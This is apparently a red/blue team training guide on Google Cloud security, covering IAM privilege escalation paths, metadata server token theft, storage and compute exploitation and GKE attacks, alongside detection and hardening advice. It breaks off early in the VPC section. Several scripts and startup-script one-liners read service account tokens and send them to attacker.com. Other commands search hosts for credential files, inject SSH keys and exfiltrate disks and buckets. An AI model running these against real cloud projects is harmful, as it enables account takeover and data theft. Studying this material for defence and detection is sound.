GCP Security Deep Dive — Attack, Defense, and Detection
GCP Security Deep Dive — Attack, Defense, and Detection
Classification: CIPHER Training Material Mode: RED / BLUE / PURPLE Last Updated: 2026-03-14 Sources: RhinoSecurityLabs, BishopFox CloudFox, Google GCP Scanner, HackingTheCloud, GCP Official Docs
Table of Contents
- GCP Architecture & Security Foundations
- IAM Deep Dive & Privilege Escalation
- Service Account Exploitation
- Metadata Server Attacks
- GCS (Cloud Storage) Attacks
- GCE (Compute Engine) Exploitation
- Cloud Functions / Cloud Run Exploitation
- GKE Security & Attacks
- Workload Identity Federation
- VPC & Network Security
- Organization Policies
- Cloud Audit Logs & Detection Engineering
- Post-Exploitation & Persistence
- Lateral Movement
- G Suite / Workspace Compromise
- Tooling Reference
- GCP ATT&CK Mapping
- Detection Rules & Hunting Queries
1. GCP Architecture & Security Foundations
Resource Hierarchy
Organization (domain.com)
└── Folder (Engineering)
└── Folder (Team-Alpha)
└── Project (prod-api-xyz)
└── Resources (VMs, Buckets, Functions...)
- Organization: Root node tied to a Cloud Identity / Workspace domain. Org-level IAM policies cascade down.
- Folders: Grouping mechanism. Policies set here inherit to all child projects.
- Projects: Fundamental unit of resource isolation. Each project has a unique ID, number, and name. Billing, APIs, and IAM are per-project.
- Resources: VMs, buckets, databases, functions, etc. Some resources support resource-level IAM.
Security implication: IAM bindings at organization or folder level grant permissions across all descendant projects. A single over-privileged binding at the org level = compromise of every project. [CONFIRMED]
Authentication Mechanisms
| Method | Context | Token Type |
|---|---|---|
| User account (OAuth) | Interactive / gcloud CLI | OAuth2 access token + refresh token |
| Service account key | Application / CI/CD | RSA-signed JWT exchanged for access token |
| Metadata server | On-instance workloads | OAuth2 access token (auto-rotated) |
| Workload Identity Federation | External workloads (AWS/Azure/OIDC) | STS token exchanged for access token |
| API key | Public API access (Maps, etc.) | Static key (no identity, no IAM) |
| Impersonation | SA-to-SA delegation | Short-lived access token |
OAuth2 Scopes vs. IAM Permissions
Critical distinction: OAuth2 scopes are a ceiling on API access for metadata-derived tokens. IAM permissions are the actual authorization. A service account with roles/owner but an instance scope of devstorage.read_only can only access storage read operations via the metadata token.
Bypass: If you obtain the service account key file (JSON), you can generate tokens with cloud-platform scope, completely bypassing instance-level scope restrictions. [CONFIRMED]
# Scope-restricted metadata token
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Scope check
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"
# Bypass via key file activation
gcloud auth activate-service-account --key-file stolen-key.json
# Now has cloud-platform scope regardless of instance config
Default Credentials
Application Default Credentials (ADC) search order:
GOOGLE_APPLICATION_CREDENTIALSenvironment variable (path to JSON key)- User credentials from
gcloud auth application-default login - Attached service account (metadata server)
Credential file locations to search:
~/.config/gcloud/credentials.db
~/.config/gcloud/legacy_credentials/ACCOUNT/adc.json
~/.config/gcloud/legacy_credentials/ACCOUNT/.boto
~/.config/gcloud/application_default_credentials.json
~/.credentials.json
/etc/google/auth/application_default_credentials.json
2. IAM Deep Dive & Privilege Escalation
IAM Model
GCP IAM uses allow policies (formerly "IAM policies") binding principals (users, service accounts, groups) to roles (collections of permissions) on resources.
Policy = [ Binding(Role, [Principal, Principal, ...], Condition?) ]
Basic (Primitive) Roles — Avoid These
| Role | Permissions | Risk |
|---|---|---|
roles/owner |
Full access + IAM admin + billing | Total project compromise |
roles/editor |
Create/modify/delete resources (NO IAM) | Near-total resource compromise |
roles/viewer |
Read-only on all resources | Data exfiltration, recon |
roles/editor is NOT safe: It includes deploymentmanager.deployments.create, which deploys as the Cloud Services SA (which has Editor). Effectively escalates to Owner-equivalent. [CONFIRMED]
Security-Critical Permissions
These are the permissions that enable privilege escalation when granted to an attacker:
| Permission | Why It's Dangerous |
|---|---|
*.setIamPolicy |
Grant yourself any role on the resource |
iam.serviceAccounts.actAs |
Attach SA to resources you control |
iam.serviceAccounts.getAccessToken |
Mint tokens for any SA you target |
iam.serviceAccountKeys.create |
Create persistent key for any SA |
iam.serviceAccounts.signBlob |
Forge SA access tokens |
iam.serviceAccounts.signJwt |
Forge SA JWTs |
iam.serviceAccounts.implicitDelegation |
Chain through SAs to reach high-priv targets |
iam.roles.update |
Add permissions to custom roles you hold |
deploymentmanager.deployments.create |
Deploy as Cloud Services SA (Editor) |
cloudfunctions.functions.create |
Execute code as attached SA |
compute.instances.create |
Launch VM with target SA attached |
run.services.create |
Deploy container as target SA |
cloudscheduler.jobs.create |
Schedule jobs as target SA |
orgpolicy.policy.set |
Disable org-level security constraints |
storage.hmacKeys.create |
Create HMAC keys for SAs |
serviceusage.apiKeys.create |
Create unrestricted API keys |
cloudbuilds.builds.create |
Run builds as Cloud Build SA |
compute.instances.setMetadata |
Inject SSH keys into instance metadata |
compute.projects.setCommonInstanceMetadata |
Inject SSH keys project-wide |
The 17 Privilege Escalation Paths (RhinoSecurityLabs)
Category 1: Single-Permission Escalation (No actAs Required)
Path 1: iam.roles.update
Modify a custom role's permission list to include whatever you need.
gcloud iam roles update TARGET_ROLE --project PROJECT \
--add-permissions iam.serviceAccountKeys.create
MITRE: T1098.001 (Account Manipulation: Additional Cloud Credentials)
Path 2: iam.serviceAccounts.getAccessToken
Mint access tokens for a target service account via the IAM Credentials API.
curl -X POST \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/TARGET_SA:generateAccessToken" \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{"scope": ["https://www.googleapis.com/auth/cloud-platform"]}'
MITRE: T1550.001 (Use Alternate Authentication Material: Application Access Token)
Path 3: iam.serviceAccountKeys.create
Create a persistent key file for a target SA — provides long-term access.
gcloud iam service-accounts keys create key.json \
--iam-account=TARGET_SA@PROJECT.iam.gserviceaccount.com
MITRE: T1098.001
Path 4: iam.serviceAccounts.implicitDelegation
Chain delegation: If SA-A has implicitDelegation on SA-B, and SA-B has getAccessToken on SA-C, then SA-A can obtain SA-C's token.
SA-A --[implicitDelegation]--> SA-B --[getAccessToken]--> SA-C
Result: SA-A gets SA-C token without direct permission
MITRE: T1550.001
Path 5: iam.serviceAccounts.signBlob
Sign arbitrary payloads to craft access token requests for target SAs.
import google.auth
from google.cloud import iam_credentials_v1
client = iam_credentials_v1.IAMCredentialsClient()
# Sign a blob that becomes a self-signed JWT
response = client.sign_blob(
name=f"projects/-/serviceAccounts/{target_sa}",
payload=jwt_claim_set
)
# Exchange signed JWT for access token
MITRE: T1550.001
Path 6: iam.serviceAccounts.signJwt
Sign a well-formed JWT to request access tokens for target SAs.
curl -X POST \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/TARGET_SA:signJwt" \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-d '{"payload": "{\"iss\":\"TARGET_SA\",\"sub\":\"TARGET_SA\",\"aud\":\"https://oauth2.googleapis.com/token\",\"iat\":EPOCH,\"exp\":EPOCH+3600,\"scope\":\"https://www.googleapis.com/auth/cloud-platform\"}"}'
MITRE: T1550.001
Path 7: deploymentmanager.deployments.create
Deploy resources as PROJECT_NUMBER@cloudservices.gserviceaccount.com (default Editor). Does NOT require actAs.
# deployment.yaml
resources:
- name: escalation-vm
type: compute.v1.instance
properties:
zone: us-central1-a
machineType: zones/us-central1-a/machineTypes/n1-standard-1
serviceAccounts:
- email: TARGET_SA@PROJECT.iam.gserviceaccount.com
scopes: ['https://www.googleapis.com/auth/cloud-platform']
# ... disk and network config
gcloud deployment-manager deployments create escalation --config deployment.yaml
MITRE: T1578 (Modify Cloud Compute Infrastructure)
Category 2: Multi-Permission Escalation (Requires actAs)
Path 8: cloudfunctions.functions.create + actAs
Deploy a Cloud Function attached to a high-privilege SA, call it to exfiltrate the SA token.
# main.py — deployed as Cloud Function
import requests
def escalate(request):
token = requests.get(
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token',
headers={'Metadata-Flavor': 'Google'}
).json()
# Exfiltrate token to attacker-controlled endpoint
requests.post('https://attacker.com/token', json=token)
return 'ok'
Also requires: cloudfunctions.functions.sourceCodeSet, cloudfunctions.functions.call OR cloudfunctions.functions.setIamPolicy
MITRE: T1648 (Serverless Execution)
Path 9: cloudfunctions.functions.update + actAs
Overwrite an existing function's code and swap its SA to a higher-privilege one.
MITRE: T1648
Path 10: compute.instances.create + actAs
Launch a VM with target SA attached. Use startup script to exfiltrate token.
gcloud compute instances create escalation-vm \
--service-account=TARGET_SA@PROJECT.iam.gserviceaccount.com \
--scopes=cloud-platform \
--metadata=startup-script='#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token)
curl -X POST -d "$TOKEN" https://attacker.com/exfil'
Also requires: compute.disks.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp
MITRE: T1578.002 (Create Cloud Instance)
Path 11: run.services.create + actAs
Deploy a Cloud Run container that exfiltrates the attached SA token.
Also requires: run.services.setIamPolicy OR run.routes.invoke
MITRE: T1648
Path 12: cloudscheduler.jobs.create + actAs
Schedule a cron job that makes authenticated HTTP requests as the target SA.
gcloud scheduler jobs create http escalation-job \
--schedule="* * * * *" \
--uri="https://attacker.com/exfil" \
--oidc-service-account-email=TARGET_SA@PROJECT.iam.gserviceaccount.com
Also requires: cloudscheduler.locations.list
MITRE: T1053.007 (Scheduled Task: Cloud)
Path 13: cloudbuilds.builds.create
Submit a Cloud Build that runs as the Cloud Build SA (often has broad permissions).
# cloudbuild.yaml
steps:
- name: 'gcr.io/cloud-builders/gcloud'
args: ['auth', 'print-access-token']
# Exfiltrate via build logs or external endpoint
MITRE: T1648
Category 3: Non-IAM Escalation
Path 14: orgpolicy.policy.set
Disable organization policy constraints that block exploitation.
# Disable constraint preventing App Engine source download
gcloud org-policies reset constraints/appengine.disableCodeDownload \
--project=PROJECT
MITRE: T1562.008 (Impair Defenses: Disable Cloud Logs) — closest mapping
Path 15: storage.hmacKeys.create
Generate HMAC keys for Cloud Storage interoperability, enabling access as a higher-privileged SA.
gsutil hmac create TARGET_SA@PROJECT.iam.gserviceaccount.com
MITRE: T1098.001
Path 16: serviceusage.apiKeys.create
Create unrestricted API keys for the entire project. Uses undocumented API:
curl -X POST \
"https://apikeys.googleapis.com/v2/projects/PROJECT_NUMBER/locations/global/keys" \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
MITRE: T1098.001
Path 17: serviceusage.apiKeys.list
Enumerate existing API keys (undocumented API).
curl "https://apikeys.googleapis.com/v2/projects/PROJECT_NUMBER/locations/global/keys" \
-H "Authorization: Bearer $(gcloud auth print-access-token)"
MITRE: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
setIamPolicy — The Master Key
Any *.setIamPolicy permission on a resource allows granting yourself any role on that resource:
| Permission | Scope |
|---|---|
resourcemanager.organizations.setIamPolicy |
Entire organization |
resourcemanager.folders.setIamPolicy |
All projects in folder |
resourcemanager.projects.setIamPolicy |
Full project access |
iam.serviceAccounts.setIamPolicy |
Impersonate target SA |
cloudfunctions.functions.setIamPolicy |
Invoke any function |
storage.buckets.setIamPolicy |
Full bucket access |
compute.instances.setIamPolicy |
Instance-level access |
bigquery.datasets.setIamPolicy |
Dataset access |
pubsub.topics.setIamPolicy |
Topic access |
cloudkms.cryptoKeys.setIamPolicy |
KMS key access |
100+ additional setIamPolicy permissions exist across GCP services. [CONFIRMED]
Privilege Escalation Scanner
RhinoSecurityLabs provides a two-stage scanner:
# Stage 1: Enumerate all members and permissions
python enumerate_member_permissions.py --access-token TOKEN
# Stage 2: Check for escalation paths
python check_for_privesc.py
# Output:
# - all_org_folder_proj_sa_permissions.json
# - privesc_methods.txt
# - setIamPolicy_methods.txt
Repo: github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
3. Service Account Exploitation
Service Account Types
| Type | Email Format | Created By | Use Case |
|---|---|---|---|
| Default Compute SA | PROJECT_NUMBER-compute@developer.gserviceaccount.com |
GCP auto | GCE, GKE nodes |
| Default App Engine SA | PROJECT_ID@appspot.gserviceaccount.com |
GCP auto | App Engine |
| Cloud Services SA | PROJECT_NUMBER@cloudservices.gserviceaccount.com |
GCP auto | Deployment Manager |
| Cloud Build SA | PROJECT_NUMBER@cloudbuild.gserviceaccount.com |
GCP auto | Cloud Build |
| User-managed SA | NAME@PROJECT.iam.gserviceaccount.com |
User | Custom workloads |
| Google-managed SA | service-PROJECT_NUMBER@*.iam.gserviceaccount.com |
Service agents |
Default SA Risks
Default Compute SA is auto-created with roles/editor on the project. Every GCE instance, GKE node, and Cloud Function uses it unless explicitly configured otherwise.
Attack chain:
- Compromise any workload using default SA
- Extract token from metadata server
- Token has Editor permissions (minus IAM management)
- Enumerate and access all project resources
- Use
deploymentmanager.deployments.create(included in Editor) to escalate further
Impersonation
# Direct impersonation (requires iam.serviceAccountTokenCreator on target SA)
gcloud compute instances list \
--impersonate-service-account=TARGET_SA@PROJECT.iam.gserviceaccount.com
# Generate access token for impersonated SA
gcloud auth print-access-token \
--impersonate-service-account=TARGET_SA@PROJECT.iam.gserviceaccount.com
# Create short-lived token via API
curl -X POST \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/TARGET_SA:generateAccessToken" \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"3600s"}'
Key File Theft
Locations to search on compromised instances:
# gcloud credential stores
find / -name "credentials.db" 2>/dev/null
find / -name "adc.json" 2>/dev/null
find / -name "application_default_credentials.json" 2>/dev/null
find / -name "*.boto" 2>/dev/null
# Environment variables
env | grep -i google
env | grep -i gcloud
env | grep -i credential
# CI/CD artifacts
find / -name "service-account*.json" 2>/dev/null
find / -name "sa-key*.json" 2>/dev/null
# Docker configs
cat ~/.docker/config.json # May contain GCR auth tokens
DETECTION OPPORTUNITY: Monitor iam.serviceAccountKeys.create in Admin Activity audit logs. Alert on key creation for SAs that should not have user-managed keys. Monitor generateAccessToken and signBlob calls in Data Access audit logs.
4. Metadata Server Attacks
Endpoints
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
http://metadata/computeMetadata/v1/
Required header: Metadata-Flavor: Google (SSRF mitigation — but many SSRF libraries/tools can set custom headers).
High-Value Metadata Queries
# Full recursive dump
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text"
# Service account email
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
# Access token (THE target)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# OAuth scopes (understand token limitations)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"
# Project metadata (may contain secrets, SSH keys, startup scripts)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true"
# Instance metadata
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
# Project ID and number
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id"
# Instance zone
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/zone"
# SSH keys in metadata
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
# Startup script (may contain hardcoded secrets)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script"
# Kube-env (GKE — contains kubelet credentials)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env"
SSRF to Metadata Server
GCP requires Metadata-Flavor: Google header (unlike AWS IMDSv1). However:
- If the SSRF allows header injection, this is trivially bypassed
- Cloud Functions, Cloud Run, and App Engine all expose metadata internally
- GKE pods can access node metadata unless Workload Identity is enabled
?alt=jsonand?recursive=trueare useful query params
Metadata-Based SSH Key Injection
# Instance-level key injection
# 1. Get existing keys
EXISTING=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys")
# 2. Generate keypair
ssh-keygen -t rsa -f /tmp/escalation_key -N ""
# 3. Append new key
echo "$EXISTING" > /tmp/meta.txt
echo "attacker:$(cat /tmp/escalation_key.pub)" >> /tmp/meta.txt
# 4. Apply (requires compute.instances.setMetadata)
gcloud compute instances add-metadata INSTANCE_NAME \
--metadata-from-file ssh-keys=/tmp/meta.txt --zone ZONE
# Project-wide key injection (requires compute.projects.setCommonInstanceMetadata)
gcloud compute project-info add-metadata \
--metadata-from-file ssh-keys=/tmp/meta.txt
DETECTION OPPORTUNITY: Monitor compute.instances.setMetadata and compute.projects.setCommonInstanceMetadata API calls. Alert on any SSH key modifications. Cross-reference with known admin identities.
5. GCS (Cloud Storage) Attacks
Bucket Discovery
# Direct URL testing
curl https://storage.googleapis.com/BUCKET_NAME
# gsutil
gsutil ls gs://BUCKET_NAME
gsutil ls -r gs://BUCKET_NAME/**
# GCPBucketBrute (RhinoSecurityLabs)
python3 gcpbucketbrute.py -k KEYWORD -u # Unauthenticated
python3 gcpbucketbrute.py -k KEYWORD -f sa-key.json # With SA key
python3 gcpbucketbrute.py -k KEYWORD -s 10 # 10 parallel processes
python3 gcpbucketbrute.py --check-list buckets.txt # Check specific list
# CloudStorageFinder
ruby google_finder.rb wordlist.txt
Permission Testing
# TestIamPermissions API — check what you can do
curl -X POST \
"https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions" \
-H "Authorization: Bearer TOKEN" \
-d '{"permissions":["storage.objects.list","storage.objects.get","storage.objects.create","storage.objects.delete","storage.buckets.setIamPolicy"]}'
# gsutil test
gsutil iam get gs://BUCKET_NAME
gsutil ls gs://BUCKET_NAME
gsutil cp gs://BUCKET_NAME/file .
Bucket Policy Exploitation
# Read bucket IAM policy
gsutil iam get gs://BUCKET_NAME
# Grant yourself access (if you have setIamPolicy)
gsutil iam ch user:attacker@gmail.com:objectViewer gs://BUCKET_NAME
gsutil iam ch allUsers:objectViewer gs://BUCKET_NAME # Make public
# Dangerous: allUsers or allAuthenticatedUsers bindings
# Check for: roles/storage.objectViewer, roles/storage.objectAdmin, roles/storage.admin
Signed URL Abuse
If you have storage.objects.get and iam.serviceAccounts.signBlob, you can generate signed URLs that grant temporary access to anyone:
gsutil signurl -d 7d -u sa@project.iam.gserviceaccount.com gs://bucket/sensitive-file
Data Exfiltration via GCS
# List all buckets in project
gsutil ls
# Recursive copy
gsutil -m cp -r gs://target-bucket /tmp/exfil/
# Search for sensitive files
gsutil ls -r gs://target-bucket/** | grep -iE '\.(sql|csv|json|key|pem|env|conf|bak|dump)'
Bucket Security Controls
| Control | Purpose | Bypass Consideration |
|---|---|---|
| Uniform bucket-level access | Disables ACLs, IAM-only | Must attack IAM, not object ACLs |
| Public access prevention | Blocks allUsers/allAuthenticatedUsers | Org policy constraint: storage.publicAccessPrevention |
| Retention policies | Immutable data retention | Cannot delete/overwrite during retention |
| Object versioning | Keeps old versions | Deleted data recoverable from versions |
| VPC Service Controls | Perimeter-based access | Must be inside the perimeter |
| CMEK | Customer-managed encryption | Need KMS key access to decrypt |
DETECTION OPPORTUNITY: Monitor storage.setIamPolicy for bindings adding allUsers or allAuthenticatedUsers. Alert on storage.hmacKeys.create. Monitor Data Access logs for bulk object reads.
6. GCE (Compute Engine) Exploitation
Instance Enumeration
# List all instances
gcloud compute instances list
# Detailed instance info
gcloud compute instances describe INSTANCE --zone ZONE
# Serial port output (may contain boot logs, passwords)
gcloud compute instances get-serial-port-output INSTANCE --zone ZONE
# Custom metadata
gcloud compute instances describe INSTANCE --zone ZONE \
--format="value(metadata.items)"
# Startup scripts
gcloud compute instances describe INSTANCE --zone ZONE \
--format="value(metadata.items[key='startup-script'].value)"
# Service account and scopes
gcloud compute instances describe INSTANCE --zone ZONE \
--format="value(serviceAccounts)"
SSH Key Injection Attacks
Instance-level (requires compute.instances.setMetadata):
gcloud compute instances add-metadata INSTANCE \
--metadata-from-file ssh-keys=meta.txt --zone ZONE
Project-wide (requires compute.projects.setCommonInstanceMetadata):
gcloud compute project-info add-metadata \
--metadata-from-file ssh-keys=meta.txt
OS Login (requires roles/compute.osAdminLogin or roles/compute.osLogin):
# Grants sudo access via IAM
gcloud compute ssh INSTANCE --zone ZONE
# This auto-generates keys and adds to google-sudoers group
OS Login notes:
- 2FA only enforced for user accounts, not service accounts
osAdminLogin= sudo;osLogin= non-root- Centrally managed via IAM, not SSH keys
Access Scope Bypass
When instance has restrictive OAuth scopes but SA has powerful IAM roles:
# 1. Find SA key files on the instance
find / -name "*.json" -exec grep -l "private_key" {} \; 2>/dev/null
# 2. Check common locations
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/legacy_credentials/*/adc.json
# 3. Activate with full scope
gcloud auth activate-service-account --key-file found-key.json
# Now has cloud-platform scope
Startup Script Exploitation
If you can modify startup scripts (compute.instances.setMetadata):
gcloud compute instances add-metadata INSTANCE --zone ZONE \
--metadata startup-script='#!/bin/bash
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| curl -X POST -d @- https://attacker.com/exfil'
Then force restart:
gcloud compute instances stop INSTANCE --zone ZONE
gcloud compute instances start INSTANCE --zone ZONE
Firewall Rule Enumeration
# List all firewall rules
gcloud compute firewall-rules list
gcloud compute firewall-rules list --format=json
# Check for overly permissive rules
gcloud compute firewall-rules list \
--filter="sourceRanges=('0.0.0.0/0')" \
--format="table(name,direction,allowed,targetTags,targetServiceAccounts)"
# Default VPC rules (often present):
# default-allow-internal — all traffic between instances on default network
# default-allow-ssh — port 22 from 0.0.0.0/0
# default-allow-rdp — port 3389 from 0.0.0.0/0
# default-allow-icmp — ICMP from 0.0.0.0/0
Tool: gcp_firewall_enum (GitLab RedTeam) parses gcloud output to enumerate compute instances with internet-exposed ports and generates nmap/masscan scripts.
Disk Snapshot Exfiltration
# Create snapshot (requires compute.disks.createSnapshot)
gcloud compute disks snapshot DISK --zone ZONE --snapshot-names exfil-snap
# Create new disk from snapshot
gcloud compute disks create exfil-disk --source-snapshot exfil-snap --zone ZONE
# Attach to attacker-controlled VM
gcloud compute instances attach-disk ATTACKER_VM --disk exfil-disk --zone ZONE
# Mount and extract
sudo mount /dev/sdb1 /mnt/exfil
DETECTION OPPORTUNITY: Monitor compute.instances.setMetadata for SSH key changes and startup script modifications. Alert on snapshot creation (compute.disks.createSnapshot) outside maintenance windows. Monitor compute.firewalls.create and compute.firewalls.update for rule changes opening access.
7. Cloud Functions / Cloud Run Exploitation
Cloud Functions Attack Surface
Token theft via function deployment:
# main.py — steal SA token when function is invoked
import requests
import json
def exfiltrate(request):
# Get the function's service account token
token_resp = requests.get(
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token',
headers={'Metadata-Flavor': 'Google'}
)
token = token_resp.json()
# Get SA email
email_resp = requests.get(
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email',
headers={'Metadata-Flavor': 'Google'}
)
payload = {
'token': token,
'email': email_resp.text,
'scopes': requests.get(
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes',
headers={'Metadata-Flavor': 'Google'}
).text
}
requests.post('https://attacker.com/exfil', json=payload)
return 'ok'
Deploy:
gcloud functions deploy exfil \
--runtime python310 \
--trigger-http \
--service-account=TARGET_SA@PROJECT.iam.gserviceaccount.com \
--source . \
--allow-unauthenticated # If you have setIamPolicy
Updating existing functions:
# Change the SA to a higher-privileged one
gcloud functions deploy EXISTING_FUNCTION \
--source . \
--service-account=HIGH_PRIV_SA@PROJECT.iam.gserviceaccount.com
Cloud Run Exploitation
Cloud Run containers have full access to the metadata server:
FROM python:3.10-slim
COPY exfil.py /app/
CMD ["python", "/app/exfil.py"]
Deploy:
gcloud run deploy exfil-service \
--image gcr.io/PROJECT/exfil \
--service-account=TARGET_SA@PROJECT.iam.gserviceaccount.com \
--allow-unauthenticated
Cloud Run / Functions Security Controls
| Control | Defense |
|---|---|
Invoker IAM (run.routes.invoke) |
Require authentication to invoke |
| VPC egress routing | Force all outbound through VPC |
| Ingress restrictions | Internal-only traffic |
| Binary Authorization | Verify container image integrity |
| Secret Manager integration | No hardcoded secrets |
| Dedicated service accounts | Never use default Compute SA |
| Cloud Armor | DDoS/WAF on load balancers |
| Identity-Aware Proxy (IAP) | Additional auth layer |
| GVisor sandbox (Gen1) | Reduced kernel attack surface |
DETECTION OPPORTUNITY: Monitor cloudfunctions.functions.create and cloudfunctions.functions.update in Admin Activity logs. Alert on SA changes (serviceAccountEmail field). Monitor run.services.create with non-standard SAs.
8. GKE Security & Attacks
GKE Attack Surface
Pod to metadata server (without Workload Identity):
# From inside a GKE pod — access node's SA token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Get kube-env (contains kubelet bootstrap credentials)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env"
Kube-env contains:
- Kubelet certificate and key
- CA certificate
- Kubernetes API server endpoint
With kubelet credentials, an attacker can:
- List secrets across namespaces
- Create privileged pods
- Access the Kubernetes API directly
GKE Hardening Checklist
Control Plane:
- Enable DNS-based endpoint, disable IP-based endpoints
- Use authorized networks for API server access
- Private cluster (no public endpoint)
- Disable legacy ABAC (use RBAC only)
- Disable client certificate issuance
Nodes:
- Use Workload Identity Federation (blocks pod-to-metadata access)
- Use custom node service accounts (not default Compute SA)
- Enable Shielded GKE Nodes (secure boot, integrity monitoring)
- Use Container-Optimized OS
- Remove external IP addresses (private nodes)
- Disable kubelet read-only port (10255)
- Enable auto-upgrade and auto-repair
Workloads:
- Enforce Pod Security Standards via PodSecurity admission controller
- Implement NetworkPolicies
- Use GKE Sandbox (gVisor) for untrusted workloads
- Store secrets in Secret Manager, not Kubernetes Secrets
- Apply Binary Authorization for image verification
- Implement Cloud Service Mesh for mTLS
IAM Organization Policies for GKE:
constraints/container.managed.disallowDefaultComputeServiceAccount
constraints/container.managed.enableShieldedNodes
constraints/container.managed.disableInsecureKubeletReadOnlyPort
constraints/container.managed.enableWorkloadIdentityFederation
constraints/container.managed.enableControlPlaneDNSOnlyAccess
constraints/container.managed.enablePrivateNodes
constraints/container.managed.enableNetworkPolicy
constraints/container.managed.enableCloudLogging
constraints/container.managed.disableLegacyClientCertificateIssuance
constraints/container.managed.disableABAC
constraints/container.managed.denyServiceExternalIPs
GKE RBAC Exploitation
# Check current RBAC
kubectl auth can-i --list
# Find cluster-admin bindings
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'
# Enumerate secrets
kubectl get secrets --all-namespaces
kubectl get secret SECRET -n NAMESPACE -o jsonpath='{.data}' | base64 -d
DETECTION OPPORTUNITY: Enable GKE audit logging. Monitor for kube-env metadata access from pods. Alert on cluster-admin ClusterRoleBinding creation. Monitor pod creation with privileged: true or hostNetwork: true.
9. Workload Identity Federation
Architecture
External IdP (AWS/Azure/OIDC/SAML)
|
v
Workload Identity Pool (logical grouping)
|
v
Workload Identity Pool Provider (trust config)
|
v [Token Exchange via STS]
Short-lived GCP Access Token
|
v
Google Cloud Resource Access
How It Works
- Workload obtains credential from external IdP (e.g., AWS IAM role, GitHub Actions OIDC token)
- Credential submitted to Google STS (Security Token Service)
- STS validates against configured provider
- Returns federated access token
- Token used directly or exchanged for SA impersonation token
Attack Surface
Misconfigured attribute conditions: If no attribute condition restricts which external identities can authenticate, ANY identity from the configured IdP can access GCP resources.
# BAD: No condition — any AWS account can authenticate
Provider: aws
Attribute condition: (none)
# GOOD: Restricted to specific AWS account
Provider: aws
Attribute condition: assertion.arn.startsWith('arn:aws:sts::123456789012:')
Confused deputy: Without conditions, a GitHub Actions workflow from ANY repository using the same IdP can obtain GCP access.
Pool-level grants: Granting IAM to principalSet://.../* (all identities in pool) is dangerous if the pool's provider conditions are weak.
Principal Identifiers
# Individual subject
principal://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/subject/SUBJECT
# Group
principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/group/GROUP_ID
# Attribute-based
principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/attribute.ATTR_NAME/VALUE
# All identities in pool (DANGEROUS)
principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/*
Defensive Controls
- Always set attribute conditions on providers
- Use the most restrictive principal identifiers in IAM bindings
- Separate pools per environment (dev/staging/prod)
- Prefer SA impersonation over direct resource access (auditable, revocable)
- Monitor
sts.googleapis.comtoken exchange requests in audit logs
DETECTION OPPORTUNITY: Monitor google.iam.credentials.v1.IAMCredentials.GenerateAccessToken for workload identity token exchanges. Alert on new pool/provider creation. Monitor for attribute condition changes.
10. VPC & Network Security
VPC Architecture
- VPC networks are global — subnets are regional
- No implicit trust between VPC networks (unlike AWS default VPC)
